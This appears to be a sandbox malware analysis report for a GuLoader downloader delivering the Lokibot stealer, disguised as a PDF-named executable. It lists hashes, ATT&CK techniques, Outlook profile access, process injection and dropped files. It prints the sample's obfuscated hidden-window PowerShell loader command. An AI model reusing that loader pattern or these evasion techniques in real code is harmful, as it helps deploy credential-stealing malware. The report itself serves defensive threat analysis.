guloader | aac1416d21318d7eec4ecc4e87d91cfbee0b5d569ff9642070c9947c4c59265e

Analysis

max time kernel
146s
max time network
145s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
27/06/2024, 07:12

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General

Target

Document BT24·pdf.exe
Size

651KB
MD5

55d49f5f1c74dc50dd5ca4b0298a9e5d
SHA1

594dd375a711937812fa7c93ec57eed34fa50edb
SHA256

aac1416d21318d7eec4ecc4e87d91cfbee0b5d569ff9642070c9947c4c59265e
SHA512

774ca13ec168e3fe9da983cf6055852c61d39a893b620c5de8e65e725b28baadebe0a5e0b92ddfe9e41dafa4c0d29221b6fe2e4457544618d2ae47c15f5a9790
SSDEEP

6144:z9KOQS4B4GMSGJpFhm0fwtOiCB+VlFbdu3ucUHJxk1p8Tl82nRDJE6pYIQZA:zsB4GOVyquXY1E8obE6pYO

Score

10^/10

guloader lokibot collection downloader execution spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Loads dropped DLL 4 IoCs

pid	Process
2060	Document BT24·pdf.exe
2060	Document BT24·pdf.exe
2060	Document BT24·pdf.exe
2060	Document BT24·pdf.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
5	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
684	wab.exe
684	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2784	powershell.exe
684	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2784 set thread context of 684	2784	powershell.exe	31

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	Document BT24·pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	684	wab.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2784	2060	Document BT24·pdf.exe	28
PID 2060 wrote to memory of 2784	2060	Document BT24·pdf.exe	28
PID 2060 wrote to memory of 2784	2060	Document BT24·pdf.exe	28
PID 2060 wrote to memory of 2784	2060	Document BT24·pdf.exe	28
PID 2784 wrote to memory of 684	2784	powershell.exe	31
PID 2784 wrote to memory of 684	2784	powershell.exe	31
PID 2784 wrote to memory of 684	2784	powershell.exe	31
PID 2784 wrote to memory of 684	2784	powershell.exe	31
PID 2784 wrote to memory of 684	2784	powershell.exe	31
PID 2784 wrote to memory of 684	2784	powershell.exe	31

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Document BT24·pdf.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Reacher=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Upraught\Photoflash.Han';$Strukturfunktioners=$Reacher.SubString(68373,3);.$Strukturfunktioners($Reacher)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3627615824-4061627003-3019543961-1000\0f5007522459c86e95ffcc62f32308f1_12cce00e-511f-47e5-8588-7df67886da42

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3627615824-4061627003-3019543961-1000\0f5007522459c86e95ffcc62f32308f1_12cce00e-511f-47e5-8588-7df67886da42

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Upraught\Photoflash.Han

Filesize
66KB

MD5
7bf3790191a67f3d8b0acd355ec7779e

SHA1
cba6e4742a2ed3c4a9422adeb1494beabd6dd1e7

SHA256
25cee3997bf135d9bd98502de830e137072bf235e1043f3c28d7d1f3a69b1a11

SHA512
98f8b02ac2acb750dc101d6c24d137f38c1254a01515af1d3e567659dac2a6ad6a10fd3c20e65c32b95820d565b4b4a621641ee2c90610cefa9dc53939f6418b

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Upraught\Utaltes.Pos

Filesize
330KB

MD5
dfe8cbec2738d0ee2ea16a19f7da380a

SHA1
5d4f4408335938819152c1831d1d60cc2b52b5d1

SHA256
7548c2d5da5f6ab59d691b12b882ef722ba9f88aec448eaf2bb4760fbb950973

SHA512
53ef786953e09e545bf65a6e9b4217155b28676f0bba3dafc55eaed2d1d600a5544eb6000433c8b7d46384f5724796547c270cab8b51489364c9e638a8058cb5

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk

Filesize
1012B

MD5
f966f79450394ba805638682abbaf7e3

SHA1
72945af8ba3a217c0cc3499c286832ce038e8dcc

SHA256
1ef55795ec109d41c0b9901fdd7d4f99f7ebc8e9c91a6f42c02d179990fce6c6

SHA512
a7aa082ebce8a33ceddc38e84e2eab73ec2654b0c63570cc4e2405b451ce809fde462e09450c3767f99e155e60297351c5d26b91bd5f2094539024603f8575e5

Download Submit
\Users\Admin\AppData\Local\Temp\nst1814.tmp\AdvSplash.dll

Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
\Users\Admin\AppData\Local\Temp\nst1814.tmp\BgImage.dll

Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
\Users\Admin\AppData\Local\Temp\nst1814.tmp\UserInfo.dll

Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
\Users\Admin\AppData\Local\Temp\nst1814.tmp\nsExec.dll

Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
memory/684-228-0x00000000009E0000-0x0000000004802000-memory.dmp

Filesize
62.1MB

Download
memory/2784-181-0x00000000739E0000-0x0000000073F8B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-186-0x00000000739E0000-0x0000000073F8B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-187-0x0000000006630000-0x000000000A452000-memory.dmp

Filesize
62.1MB

Download
memory/2784-188-0x00000000739E0000-0x0000000073F8B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-184-0x00000000739E0000-0x0000000073F8B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-180-0x00000000739E0000-0x0000000073F8B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-179-0x00000000739E0000-0x0000000073F8B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-178-0x00000000739E1000-0x00000000739E2000-memory.dmp

Filesize
4KB

Download